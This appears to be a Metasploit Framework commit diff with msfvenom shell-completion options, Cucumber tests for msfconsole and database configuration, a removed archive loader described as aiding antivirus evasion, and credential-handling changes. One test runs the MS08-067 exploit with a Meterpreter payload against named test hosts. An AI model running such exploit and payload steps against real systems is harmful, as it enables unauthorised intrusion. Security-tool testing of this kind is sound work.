{-f,--format}"[Output format]:output format:(bash c csharp dw dword java js_be js_le num perl pl powershell ps1 py python raw rb ruby sh vbapplication vbscript asp aspx aspx-exe dll elf exe exe-only exe-service exe-small loop-vbs macho msi msi-nouac osx-app psh psh-net psh-reflection vba vba-exe vbs war)" \
"--help-formats[List available formats]" \
{-h,--help}"[Help banner]" \
{-i,--iterations}"[The number of times to encode the payload]:iterations" \
{-k,--keep}"[Preserve the template behavior and inject the payload as a new thread]" \
{-l,--list}"[List a module type]:module type:(all encoders nops payloads)" \
{-n,--nopsled}"[Prepend a nopsled of length size on to the payload]:nopsled length" \
{-o,--options}"[List the payload's standard options]" \
"--platform[The platform to encode for]:target platform:(android bsd bsdi java linux netware nodejs osx php python ruby solaris unix win)" \
{-p,--payload}"[Payload to use. Specify a '-' or stdin to use custom payloads]:payload" \
{-s,--space}"[The maximum size of the resulting payload]:length" \
{-x,--template}"[Specify an alternate executable template]:template file:_files"
+78
View File
@@ -0,0 +1,78 @@
Feature: Help command
Background:
Given I run `msfconsole` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
Scenario: The 'help' command's output
When I type "help"
And I type "exit"
Then the output should contain:
"""
Core Commands
=============
Command Description
------- -----------
? Help menu
back Move back from the current context
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
edit Edit the current module with $VISUAL or $EDITOR
exit Exit the console
go_pro Launch Metasploit web GUI
grep Grep the output of another command
help Help menu
info Displays information about one or more module
irb Drop into irb scripting mode
jobs Displays and manages jobs
kill Kill a job
load Load a framework plugin
loadpath Searches for and loads modules from a path
makerc Save commands entered since start to a file
popm Pops the latest module off the stack and makes it active
previous Sets the previously loaded module as the current module
pushm Pushes the active or list of modules onto the module stack
quit Exit the console
reload_all Reloads all modules from all defined module paths
resource Run the commands stored in a file
route Route traffic through a session
save Saves the active datastores
search Searches module names and descriptions
sessions Dump session listings and display information about sessions
set Sets a variable to a value
setg Sets a global variable to a value
show Displays modules of a given type, or all modules
sleep Do nothing for the specified number of seconds
spool Write console output into a file as well the screen
threads View and manipulate background threads
unload Unload a framework plugin
unset Unsets one or more variables
unsetg Unsets one or more global variables
use Selects a module by name
version Show the framework and console library version numbers
Database Backend Commands
=========================
Command Description
------- -----------
creds List all credentials in the database
db_connect Connect to an existing database
db_disconnect Disconnect from the current database instance
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspaces
"""
@@ -0,0 +1,181 @@
@wip
Feature: MS08-067 netapi
Background:
Given a directory named "home"
And I cd to "home"
And a mocked home directory
Given I run `msfconsole` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
Scenario: The MS08-067 Module should have the following options
When I type "use exploit/windows/smb/ms08_067_netapi"
And I type "show options"
And I type "exit"
Then the output should contain:
"""
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
"""
Scenario: The MS08-067 Module should have the following advanced options
When I type "use exploit/windows/smb/ms08_067_netapi"
And I type "show advanced"
And I type "exit"
Then the output should contain:
"""
Module advanced options:
Name : CHOST
Current Setting:
Description : The local client address
Name : CPORT
Current Setting:
Description : The local client port
Name : ConnectTimeout
Current Setting: 10
Description : Maximum number of seconds to establish a TCP connection
Name : ContextInformationFile
Current Setting:
Description : The information file that contains context information
Name : DCERPC::ReadTimeout
Current Setting: 10
Description : The number of seconds to wait for DCERPC responses
Name : DisablePayloadHandler
Current Setting: false
Description : Disable the handler code for the selected payload
Name : EnableContextEncoding
Current Setting: false
Description : Use transient context when encoding payloads
Name : NTLM::SendLM
Current Setting: true
Description : Always send the LANMAN response (except when NTLMv2_session is
specified)
Name : NTLM::SendNTLM
Current Setting: true
Description : Activate the 'Negotiate NTLM key' flag, indicating the use of
NTLM responses
Name : NTLM::SendSPN
Current Setting: true
Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow
authentification on windows Seven/2008r2 when SPN is required
Name : NTLM::UseLMKey
Current Setting: false
Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key
when the LM response is sent
Name : NTLM::UseNTLM2_session
Current Setting: true
Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a
NTLMv2_session
Name : NTLM::UseNTLMv2
Current Setting: true
Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key
is true
Name : Proxies
Current Setting:
Description : Use a proxy chain
Name : SMB::ChunkSize
Current Setting: 500
Description : The chunk size for SMB segments, bigger values will increase
speed but break NT 4.0 and SMB signing
Name : SMB::Native_LM
Current Setting: Windows 2000 5.0
Description : The Native LM to send during authentication
Name : SMB::Native_OS
Current Setting: Windows 2000 2195
Description : The Native OS to send during authentication
Name : SMB::VerifySignature
Current Setting: false
Description : Enforces client-side verification of server response signatures
Name : SMBDirect
Current Setting: true
Description : The target port is a raw SMB service (not NetBIOS)
Name : SMBDomain
Current Setting: .
Description : The Windows domain to use for authentication
Name : SMBName
Current Setting: *SMBSERVER
Description : The NetBIOS hostname (required for port 139 connections)
Name : SMBPass
Current Setting:
Description : The password for the specified username
Name : SMBUser
Current Setting:
Description : The username to authenticate as
Name : SSL
Current Setting: false
Description : Negotiate SSL for outgoing connections
Name : SSLCipher
Current Setting:
Description : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
Name : SSLVerifyMode
Current Setting: PEER
Description : SSL verification method (accepted: CLIENT_ONCE,
FAIL_IF_NO_PEER_CERT, NONE, PEER)
Name : SSLVersion
Current Setting: SSL3
Description : Specify the version of SSL that should be used (accepted: SSL2,
SSL3, TLS1)
Name : VERBOSE
Current Setting: false
Description : Enable detailed status messages
Name : WORKSPACE
Current Setting:
Description : Specify the workspace for this module
Name : WfsDelay
Current Setting: 0
Description : Additional delay when waiting for a session
"""
@targets
Scenario: Show RHOST/etc variable expansion from a config file
When I type "use exploit/windows/smb/ms08_067_netapi"
When RHOST is WINDOWS
And I type "set PAYLOAD windows/meterpreter/bind_tcp"
And I type "show options"
And I type "run"
And I type "exit"
And I type "exit"
Then the output should match /spider-wxp/
+167
View File
@@ -0,0 +1,167 @@
@boot
Feature: `msfconsole` `database.yml`
In order to connect to the database in `msfconsole`
As a user calling `msfconsole` from a terminal
I want to be able to set the path of the `database.yml` in one of 4 locations (in order of precedence):
1. An explicit argument to the `-y` flag to `msfconsole`
2. The MSF_DATABASE_CONFIG environment variable
3. The user's `~/.msf4/database.yml`
4. `config/database.yml` in the metasploit-framework checkout location.
Scenario: With all 4 locations, --yaml wins
Given a file named "command_line.yml" with:
"""
test:
adapter: postgresql
database: command_line_metasploit_framework_test
username: command_line_metasploit_framework_test
"""
And a file named "msf_database_config.yml" with:
"""
test:
adapter: postgresql
database: environment_metasploit_framework_test
username: environment_metasploit_framework_test
"""
And I set the environment variables to:
| variable | value |
| MSF_DATABASE_CONFIG | msf_database_config.yml |
And a directory named "home"
And I cd to "home"
And a mocked home directory
And a directory named ".msf4"
And I cd to ".msf4"
And a file named "database.yml" with:
"""
test:
adapter: postgresql
database: user_metasploit_framework_test
username: user_metasploit_framework_test
"""
And I cd to "../.."
And the project "database.yml" exists with:
"""
test:
adapter: postgresql
database: project_metasploit_framework_test
username: project_metasploit_framework_test
"""
When I run `msfconsole --environment test --yaml command_line.yml` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
And I type "exit"
Then the output should contain "command_line_metasploit_framework_test"
Scenario: Without --yaml, MSF_DATABASE_CONFIG wins
Given a file named "msf_database_config.yml" with:
"""
test:
adapter: postgresql
database: environment_metasploit_framework_test
username: environment_metasploit_framework_test
"""
And I set the environment variables to:
| variable | value |
| MSF_DATABASE_CONFIG | msf_database_config.yml |
And a directory named "home"
And I cd to "home"
And a mocked home directory
And a directory named ".msf4"
And I cd to ".msf4"
And a file named "database.yml" with:
"""
test:
adapter: postgresql
database: user_metasploit_framework_test
username: user_metasploit_framework_test
"""
And I cd to "../.."
And the project "database.yml" exists with:
"""
test:
adapter: postgresql
database: project_metasploit_framework_test
username: project_metasploit_framework_test
"""
When I run `msfconsole --environment test` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
And I type "exit"
Then the output should contain "environment_metasploit_framework_test"
Scenario: Without --yaml or MSF_DATABASE_CONFIG, ~/.msf4/database.yml wins
Given I unset the environment variables:
| variable |
| MSF_DATABASE_CONFIG |
And a directory named "home"
And I cd to "home"
And a mocked home directory
And a directory named ".msf4"
And I cd to ".msf4"
And a file named "database.yml" with:
"""
test:
adapter: postgresql
database: user_metasploit_framework_test
username: user_metasploit_framework_test
"""
And I cd to "../.."
And the project "database.yml" exists with:
"""
test:
adapter: postgresql
database: project_metasploit_framework_test
username: project_metasploit_framework_test
"""
When I run `msfconsole --environment test` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
And I type "exit"
Then the output should contain "user_metasploit_framework_test"
Scenario: Without --yaml, MSF_DATABASE_CONFIG or ~/.msf4/database.yml, project "database.yml" wins
Given I unset the environment variables:
| variable |
| MSF_DATABASE_CONFIG |
And a directory named "home"
And I cd to "home"
And a mocked home directory
And I cd to "../.."
And the project "database.yml" exists with:
"""
test:
adapter: postgresql
database: project_metasploit_framework_test
username: project_metasploit_framework_test
"""
When I run `msfconsole --environment test` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
And I type "exit"
Then the output should contain "project_metasploit_framework_test"
Scenario: Without --yaml, MSF_DATABASE_CONFIG, ~/.msf4/database.yml, or project "database.yml", no database connection
Given I unset the environment variables:
| variable |
| MSF_DATABASE_CONFIG |
And a directory named "home"
And I cd to "home"
And a mocked home directory
And I cd to "../.."
And the project "database.yml" does not exist
When I run `msfconsole --environment test` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
And I type "db_status"
And I type "exit"
Then the output should not contain "command_line_metasploit_framework_test"
And the output should not contain "environment_metasploit_framework_test"
And the output should not contain "user_metasploit_framework_test"
And the output should not contain "project_metasploit_framework_test"
And the output should contain "[*] postgresql selected, no connection"
Scenario: Starting `msfconsole` with a valid database.yml
Given I run `msfconsole` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
When I type "db_status"
And I type "exit"
Then the output should contain "[*] postgresql connected to metasploit_framework_test"
@@ -0,0 +1,20 @@
Given /^I unset the environment variables:$/ do |table|
table.hashes.each do |row|
variable = row['variable'].to_s.upcase
# @todo add extension to Announcer
announcer.instance_eval do
if @options[:env]
print "$ unset #{variable}"
end
end
current_value = ENV.delete(variable)
# if original_env already has the key, then the true original was already recorded from a previous unset or set,
# so don't record the current value as it will cause ENV not to be restored after the Scenario.
unless original_env.key? variable
original_env[variable] = current_value
end
end
end
+14
View File
@@ -0,0 +1,14 @@
require 'metasploit/framework/database/cucumber'
Given /^the project "database.yml" does not exist$/ do
Metasploit::Framework::Database::Cucumber.backup_project_configurations
end
Given /^the project "database.yml" exists with:$/ do |file_content|
Metasploit::Framework::Database::Cucumber.backup_project_configurations
write_file(Metasploit::Framework::Database::Cucumber.project_configurations_path, file_content)
end
After do
Metasploit::Framework::Database::Cucumber.restore_project_configurations
end
+10
View File
@@ -0,0 +1,10 @@
When /^targets are loaded$/ do
config_file = File.expand_path('features/support/targets.yml')
fail "Target config file #{config_file} does not exist" unless File.exists?(config_file)
@target_config = YAML.load_file(config_file)
end
When /^(RHOSTS?) (?:are|is) (\S+)$/ do |type, target_type|
fail "No target type #{target_type}" unless @target_config.key?(target_type)
step "I type \"set #{type} #{@target_config[target_type]}\""
end
+26
View File
@@ -0,0 +1,26 @@
#!/usr/bin/env ruby
case ARGV[0]
when 'size'
puts "30 134"
when '-a'
puts <<EOS
speed 38400 baud; 30 rows; 134 columns;
lflags: icanon isig iexten echo echoe echok echoke -echonl echoctl
-echoprt -altwerase -noflsh -tostop -flusho pendin -nokerninfo
-extproc
iflags: -istrip icrnl -inlcr -igncr ixon -ixoff ixany imaxbel iutf8
-ignbrk brkint -inpck -ignpar -parmrk
oflags: opost onlcr -oxtabs -onocr -onlret
cflags: cread cs8 -parenb -parodd hupcl -clocal -cstopb -crtscts -dsrflow
-dtrflow -mdmbuf
cchars: discard = ^O; dsusp = ^Y; eof = ^D; eol = <undef>;
eol2 = <undef>; erase = ^?; intr = ^C; kill = ^U; lnext = ^V;
min = 1; quit = ^\; reprint = ^R; start = ^Q; status = ^T;
stop = ^S; susp = ^Z; time = 0; werase = ^W;
EOS
when '-g'
puts "gfmt1:cflag=4b00:iflag=6b02:lflag=200005cf:oflag=3:discard=f:dsusp=19:eof=4:eol=ff:eol2=ff:erase=7f:intr=3:kill=15:lnext=16:min=1:quit=1c:reprint=12:start=11:status=14:stop=13:susp=1a:time=0:werase=17:ispeed=38400:ospeed=38400"
end
exit 0
+31
View File
@@ -0,0 +1,31 @@
# IMPORTANT: This file is generated by cucumber-rails - edit at your own peril.
# It is recommended to regenerate this file in the future when you upgrade to a
# newer version of cucumber-rails. Consider adding your own code to a new file
# instead of editing this one. Cucumber will automatically load all features/**/*.rb
# files.
require 'cucumber/rails'
require 'aruba/cucumber'
# Capybara defaults to XPath selectors rather than Webrat's default of CSS3. In
# order to ease the transition to Capybara we set the default here. If you'd
# prefer to use XPath just remove this line and adjust any selectors in your
# steps to use the XPath syntax.
Capybara.default_selector = :css
# By default, any exception happening in your Rails application will bubble up
# to Cucumber so that your scenario will fail. This is a different from how
# your application behaves in the production environment, where an error page will
# be rendered instead.
#
# Sometimes we want to override this default behaviour and allow Rails to rescue
# exceptions and display an error page (just like when the app is running in production).
# Typical scenarios where you want to do this is when you test your error pages.
# There are two ways to allow Rails to rescue exceptions:
#
# 1) Tag your scenario (or feature) with @allow-rescue
#
# 2) Set the value below to true. Beware that doing this globally is not
# recommended as it will mask a lot of errors for you!
#
ActionController::Base.allow_rescue = false
+5
View File
@@ -0,0 +1,5 @@
Before do
set_env('MSF_DATBASE_CONFIG', Rails.configuration.paths['config/database'].existent.first)
set_env('RAILS_ENV', 'test')
@aruba_timeout_seconds = 4.minutes
end
+11
View File
@@ -0,0 +1,11 @@
require 'pathname'
support = Pathname.new(__FILE__).realpath.parent
paths = [
# adds support/bin at the front of the path so that the support/bin/stty script will be used to fake system stty
# output.
support.join('bin').to_path,
ENV['PATH']
]
ENV['PATH'] = paths.join(File::PATH_SEPARATOR)
+2
View File
@@ -0,0 +1,2 @@
WINDOWS: spider-wxp.vuln.lax.rapid7.com
LINUX: spider-ubuntu.vuln.lax.rapid7.com
-433
View File
@@ -1,433 +0,0 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
#
# FASTLIB is a mechanism for loading large sets of libraries in a way that is
# faster and much more flexible than typical disk structures. FASTLIB includes
# hooks that can be used for both compression and encoding of Ruby libraries.
#
#
# This format was specifically created to improve the performance and
# AV-resistance of the Metasploit Framework and Rex libraries.
#
#
# This library is still in its early form; a large number of performance and
# compatiblity improvements are not yet included. Do not depend on the FASTLIB
# file format at this time.
#
require "find"
#
# Copyright (C) 2011 Rapid7. You can redistribute it and/or
# modify it under the terms of the ruby license.
#
#
# Roughly based on the rubyzip zip/ziprequire library:
# >> Copyright (C) 2002 Thomas Sondergaard
# >> rubyzip is free software; you can redistribute it and/or
# >> modify it under the terms of the ruby license.
#
# The FastLib class implements the meat of the FASTLIB archive format
#
class FastLib
VERSION = "0.0.8"
FLAG_COMPRESS = 0x01
FLAG_ENCRYPT = 0x02
@@cache = {}
@@has_zlib = false
#
# Load zlib support if possible
#
begin
require 'zlib'
@@has_zlib = true
rescue ::LoadError
end
#
# This method returns the version of the fastlib library
#
def self.version
VERSION
end
#
# This method loads content from a specific archive file by name. If the
# noprocess argument is set to true, the contents will not be expanded to
# include workarounds for things such as __FILE__. This is useful when
# loading raw binary data where these strings may occur
#
def self.load(lib, name, noprocess=false)
data = ""
load_cache(lib)
return unless ( @@cache[lib] and @@cache[lib][name] )
::File.open(lib, "rb") do |fd|
fd.seek(
@@cache[lib][:fastlib_header][0] +
@@cache[lib][:fastlib_header][1] +
@@cache[lib][name][0]
)
data = fastlib_filter_decode( lib, fd.read(@@cache[lib][name][1] ))
end
# Return the contents in raw or processed form
noprocess ? data : post_process(lib, name, data)
end
#
# This method caches the file list and offsets within the archive
#
def self.load_cache(lib)
return if @@cache[lib]
@@cache[lib] = {}
return if not ::File.exists?(lib)
::File.open(lib, 'rb') do |fd|
dict = {}
head = fd.read(4)
return if head != "FAST"
hlen = fd.read(4).unpack("N")[0]
flag = fd.read(4).unpack("N")[0]
@@cache[lib][:fastlib_header] = [12, hlen, fd.stat.mtime.utc.to_i ]
@@cache[lib][:fastlib_flags] = flag
nlen, doff, dlen, tims = fd.read(16).unpack("N*")
while nlen > 0
name = fastlib_filter_decode( lib, fd.read(nlen) )
dict[name] = [doff, dlen, tims]
nlen, doff, dlen, tims = fd.read(16).unpack("N*")
end
@@cache[lib].merge!(dict)
end
end
#
# This method provides compression and encryption capabilities
# for the fastlib archive format.
#
def self.fastlib_filter_decode(lib, buff)
if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0
@@cache[lib][:fastlib_decrypt] ||= ::Proc.new do |data|
stub = "decrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 )
FastLib.send(stub, data)
end
buff = @@cache[lib][:fastlib_decrypt].call( buff )
end
if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0
if not @@has_zlib
raise ::RuntimeError, "zlib is required to open this archive"
end
z = Zlib::Inflate.new
buff = z.inflate(buff)
buff << z.finish
z.close
end
buff
end
#
# This method provides compression and encryption capabilities
# for the fastlib archive format.
#
def self.fastlib_filter_encode(lib, buff)
if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0
if not @@has_zlib
raise ::RuntimeError, "zlib is required to open this archive"
end
z = Zlib::Deflate.new
buff = z.deflate(buff)
buff << z.finish
z.close
end
if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0
@@cache[lib][:fastlib_encrypt] ||= ::Proc.new do |data|
stub = "encrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 )
FastLib.send(stub, data)
end
buff = @@cache[lib][:fastlib_encrypt].call( buff )
end
buff
end
# This method provides a way to create a FASTLIB archive programatically.
#
# @param [String] lib the output path for the archive
# @param [String] flag a string containing the hex values for the
# flags ({FLAG_COMPRESS} and {FLAG_ENCRYPT}).
# @param [String] bdir the path to the base directory which will be
# stripped from all paths included in the archive
# @param [Array<String>] dirs list of directories/files to pack into
# the archive. All dirs should be under bdir so that the paths are
# stripped correctly.
# @return [void]
def self.dump(lib, flag, bdir, *dirs)
head = ""
data = ""
hidx = 0
didx = 0
bdir = bdir.gsub(/\/$/, '')
brex = /^#{Regexp.escape(bdir)}\//
@@cache[lib] = {
:fastlib_flags => flag.to_i(16)
}
dirs.each do |dir|
::Find.find(dir) do |path|
next if not ::File.file?(path)
name = fastlib_filter_encode( lib, path.sub( brex, "" ) )
buff = ""
::File.open(path, "rb") do |fd|
buff = fastlib_filter_encode(lib, fd.read(fd.stat.size))
end
head << [ name.length, didx, buff.length, ::File.stat(path).mtime.utc.to_i ].pack("NNNN")
head << name
hidx = hidx + 16 + name.length
data << buff
didx = didx + buff.length
end
end
head << [0,0,0].pack("NNN")
::File.open(lib, "wb") do |fd|
fd.write("FAST")
fd.write( [ head.length, flag.to_i(16) ].pack("NN") )
fd.write( head )
fd.write( data )
end
end
#
# This archive provides a way to list the contents of an archive
# file, returning the names only in sorted order.
#
def self.list(lib)
load_cache(lib)
( @@cache[lib] || {} ).keys.map{|x| x.to_s }.sort.select{ |x| @@cache[lib][x] }
end
#
# This method is called on the loaded is required to expand __FILE__
# and other inline dynamic constants to map to the correct location.
#
def self.post_process(lib, name, data)
data.gsub('__FILE__', "'#{ ::File.expand_path(::File.join(::File.dirname(lib), name)) }'")
end
#
# This is a stub crypto handler that performs a basic XOR
# operation against a fixed one byte key. The two usable IDs
# are 12345600 and 00000000
#
def self.encrypt_12345600(data)
encrypt_00000000(data)
end
def self.decrypt_12345600(data)
encrypt_00000000(data)
end
def self.encrypt_00000000(data)
data.unpack("C*").map{ |c| c ^ 0x90 }.pack("C*")
end
def self.decrypt_00000000(data)
encrypt_00000000(data)
end
#
# Expose the cache to callers
#
def self.cache
@@cache
end
end
#
# Allow this library to be used as an executable to create and list
# FASTLIB archives
#
if __FILE__ == $0
cmd = ARGV.shift
unless ["store", "list", "version"].include?(cmd)
$stderr.puts "Usage: #{$0} [dump|list|version] <arguments>"
exit(0)
end
case cmd
when "store"
dst = ARGV.shift
flg = ARGV.shift
dir = ARGV.shift
src = ARGV
unless dst and dir and src.length > 0
$stderr.puts "Usage: #{$0} store destination.fastlib flags base_dir src1 src2 ... src99"
exit(0)
end
FastLib.dump(dst, flg, dir, *src)
when "list"
src = ARGV.shift
unless src
$stderr.puts "Usage: #{$0} list"
exit(0)
end
$stdout.puts "Library: #{src}"
$stdout.puts "====================================================="
FastLib.list(src).each do |name|
fsize = FastLib.cache[src][name][1]
ftime = ::Time.at(FastLib.cache[src][name][2]).strftime("%Y-%m-%d %H:%M:%S")
$stdout.puts sprintf("%9d\t%20s\t%s\n", fsize, ftime, name)
end
$stdout.puts ""
when "version"
$stdout.puts "FastLib Version #{FastLib.version}"
end
exit(0)
end
#
# FASTLIB archive format (subject to change without notice)
#
=begin
* All integers are 32-bit and in network byte order (big endian / BE)
* The file signature is 0x46415354 (big endian, use htonl() if necessary)
* The header is always 12 bytes into the archive (magic + header length)
* The data section is always 12 + header length into the archive
* The header entries always start with 'fastlib_header'
* The header entries always consist of 16 bytes + name length (no alignment)
* The header name data may be encoded, compressed, or transformed
* The data entries may be encoded, compressed, or transformed too
4 bytes: "FAST"
4 bytes: NBO header length
4 bytes: NBO flags (24-bit crypto ID, 8 bit modes)
[
4 bytes: name length (0 = End of Names)
4 bytes: data offset
4 bytes: data length
4 bytes: timestamp
]
[ Raw Data ]
=end
module Kernel #:nodoc:all
alias :fastlib_original_require :require
#
# Store the CWD when were initially loaded
# required for resolving relative paths
#
@@fastlib_base_cwd = ::Dir.pwd
#
# This method hooks the original Kernel.require to support
# loading files within FASTLIB archives
#
def require(name)
fastlib_require(name) || fastlib_original_require(name)
end
#
# This method handles the loading of FASTLIB archives
#
def fastlib_require(name)
if name.respond_to? :to_path
name = name.to_path
end
name = name + ".rb" if not name =~ /\.rb$/
return false if fastlib_already_loaded?(name)
return false if fastlib_already_tried?(name)
# XXX Implement relative search paths within archives
$:.map{ |path|
(path =~ /^([A-Za-z]\:|\/)/ ) ? path : ::File.expand_path( ::File.join(@@fastlib_base_cwd, path) )
}.map{ |path| ::Dir["#{path}/*.fastlib"] }.flatten.uniq.each do |lib|
data = FastLib.load(lib, name)
next if not data
$" << name
Object.class_eval(data, lib + "::" + name)
return true
end
$fastlib_miss << name
false
end
#
# This method determines whether the specific file name
# has already been loaded ($LOADED_FEATURES aka $")
#
def fastlib_already_loaded?(name)
re = Regexp.new("^" + Regexp.escape(name) + "$")
$".detect { |e| e =~ re } != nil
end
#
# This method determines whether the specific file name
# has already been attempted with the included FASTLIB
# archives.
#
# TODO: Ensure that this only applies to known FASTLIB
# archives and that newly included archives will
# be searched appropriately.
#
def fastlib_already_tried?(name)
$fastlib_miss ||= []
$fastlib_miss.include?(name)
end
end
+5 -4
View File
@@ -879,19 +879,20 @@ class CCompiler < C::Compiler
r = c_cexpr_inner(expr.rexpr)
r = make_volatile(r, expr.type) if r.kind_of? ModRM and l.kind_of? ModRM
r = make_volatile(r, expr.type) if r.kind_of?(ModRM) and r.sz != l.sz
l = make_volatile(l, expr.type) if l.kind_of?(ModRM)
l = make_volatile(l, expr.type) if l.kind_of?(ModRM) and r.kind_of?(Reg) and r.sz != l.sz
if l.kind_of? Expression
o = { :< => :>, :> => :<, :>= => :<=, :<= => :>= }[o] || o
l, r = r, l
end
unuse l, r
if expr.lexpr.type.integral? or expr.lexpr.type.pointer?
r = Reg.new(r.val, l.sz) if r.kind_of? Reg and r.sz != l.sz # XXX
instr 'cmp', l, i_to_i32(r)
rr = i_to_i32(r)
rr = Reg.new(rr.val, l.sz) if rr.kind_of? Reg and rr.sz != l.sz # XXX
instr 'cmp', l, rr
elsif expr.lexpr.type.float?
raise 'float unhandled'
else raise 'bad comparison ' + expr.to_s
end
unuse l, r
op = 'j' + getcc(o, expr.lexpr.type)
instr op, Expression[target]
when :'!'
+1
View File
@@ -9,6 +9,7 @@ require 'active_support'
require 'bcrypt'
require 'json'
require 'msgpack'
require 'metasploit/concern'
require 'metasploit/model'
require 'nokogiri'
require 'packetfu'
-5
View File
@@ -60,11 +60,6 @@ class Metasploit::Framework::Command::Base
# the configuration from the parsed options.
parsed_options.configure(Rails.application)
# support disabling the database
unless parsed_options.options.database.disable
Metasploit::Framework::Require.optionally_active_record_railtie
end
Rails.application.require_environment!
parsed_options
+7 -1
View File
@@ -8,7 +8,12 @@ require 'metasploit/framework/command/base'
# Based on pattern used for lib/rails/commands in the railties gem.
class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::Base
def start
driver.run
case parsed_options.options.subcommand
when :version
$stderr.puts "Framework Version: #{Metasploit::Framework::VERSION}"
else
driver.run
end
end
private
@@ -37,6 +42,7 @@ class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::
driver_options = {}
driver_options['Config'] = options.framework.config
driver_options['ConfirmExit'] = options.console.confirm_exit
driver_options['DatabaseEnv'] = options.environment
driver_options['DatabaseMigrationPaths'] = options.database.migrations_paths
driver_options['DatabaseYAML'] = options.database.config
@@ -23,9 +23,12 @@ module Metasploit::Framework::CommonEngine
Encoding.default_internal = encoding
end
config.root = Msf::Config::install_root
config.paths.add 'data/meterpreter', glob: '**/ext_*'
config.paths.add 'modules'
config.active_support.deprecation = :notify
#
# `initializer`s
#
+14
View File
@@ -91,6 +91,20 @@ module Metasploit
self
end
# This method takes all of the attributes of the {Credential} and spits
# them out in a hash compatible with the create_credential calls.
#
# @return [Hash] a hash compatible with #create_credential
def to_h
{
private_data: private,
private_type: private_type,
username: public,
realm_key: realm_key,
realm_value: realm
}
end
private
def at_realm
@@ -86,18 +86,18 @@ class Metasploit::Framework::CredentialCollection
if username.present?
if password.present?
yield Metasploit::Framework::Credential.new(public: username, private: password, realm: realm)
yield Metasploit::Framework::Credential.new(public: username, private: password, realm: realm, private_type: private_type(password))
end
if user_as_pass
yield Metasploit::Framework::Credential.new(public: username, private: username, realm: realm)
yield Metasploit::Framework::Credential.new(public: username, private: username, realm: realm, private_type: :password)
end
if blank_passwords
yield Metasploit::Framework::Credential.new(public: username, private: "", realm: realm)
yield Metasploit::Framework::Credential.new(public: username, private: "", realm: realm, private_type: :password)
end
if pass_fd
pass_fd.each_line do |pass_from_file|
pass_from_file.chomp!
yield Metasploit::Framework::Credential.new(public: username, private: pass_from_file, realm: realm)
yield Metasploit::Framework::Credential.new(public: username, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
end
pass_fd.seek(0)
end
@@ -108,18 +108,18 @@ class Metasploit::Framework::CredentialCollection
user_fd.each_line do |user_from_file|
user_from_file.chomp!
if password
yield Metasploit::Framework::Credential.new(public: user_from_file, private: password, realm: realm)
yield Metasploit::Framework::Credential.new(public: user_from_file, private: password, realm: realm, private_type: private_type(password) )
end
if user_as_pass
yield Metasploit::Framework::Credential.new(public: user_from_file, private: user_from_file, realm: realm)
yield Metasploit::Framework::Credential.new(public: user_from_file, private: user_from_file, realm: realm, private_type: :password)
end
if blank_passwords
yield Metasploit::Framework::Credential.new(public: user_from_file, private: "", realm: realm)
yield Metasploit::Framework::Credential.new(public: user_from_file, private: "", realm: realm, private_type: :password)
end
if pass_fd
pass_fd.each_line do |pass_from_file|
pass_from_file.chomp!
yield Metasploit::Framework::Credential.new(public: user_from_file, private: pass_from_file, realm: realm)
yield Metasploit::Framework::Credential.new(public: user_from_file, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
end
pass_fd.seek(0)
end
@@ -145,4 +145,14 @@ class Metasploit::Framework::CredentialCollection
pass_fd.close if pass_fd && !pass_fd.closed?
end
private
def private_type(private)
if private =~ /[0-9a-f]{32}:[0-9a-f]{32}/
:ntlm_hash
else
:password
end
end
end
+90 -4
View File
@@ -1,14 +1,100 @@
require 'metasploit/framework'
require 'msf/base/config'
module Metasploit
module Framework
module Database
def self.configurations
YAML.load_file(configurations_pathname)
#
# CONSTANTS
#
CONFIGURATIONS_PATHNAME_PRECEDENCE = [
:environment_configurations_pathname,
:user_configurations_pathname,
:project_configurations_pathname
]
#
# Module Methods
#
# Returns first configuration pathname from {configuration_pathnames} or the overridding `:path`.
#
# @param options [Hash{Symbol=>String}]
# @option options [String] :path Path to use instead of first element of {configurations_pathnames}
# @return [Pathname] if configuration pathname exists.
# @return [nil] if configuration pathname does not exist.
def self.configurations_pathname(options={})
options.assert_valid_keys(:path)
path = options[:path]
if path.present?
pathname = Pathname.new(path)
else
pathname = configurations_pathnames.first
end
if pathname.present? && pathname.exist?
pathname
else
nil
end
end
def self.configurations_pathname
Metasploit::Framework::Application.paths['config/database'].first
# Return configuration pathnames that exist.
#
# Returns `Pathnames` in order of precedence
#
# 1. {environment_configurations_pathname}
# 2. {user_configurations_pathname}
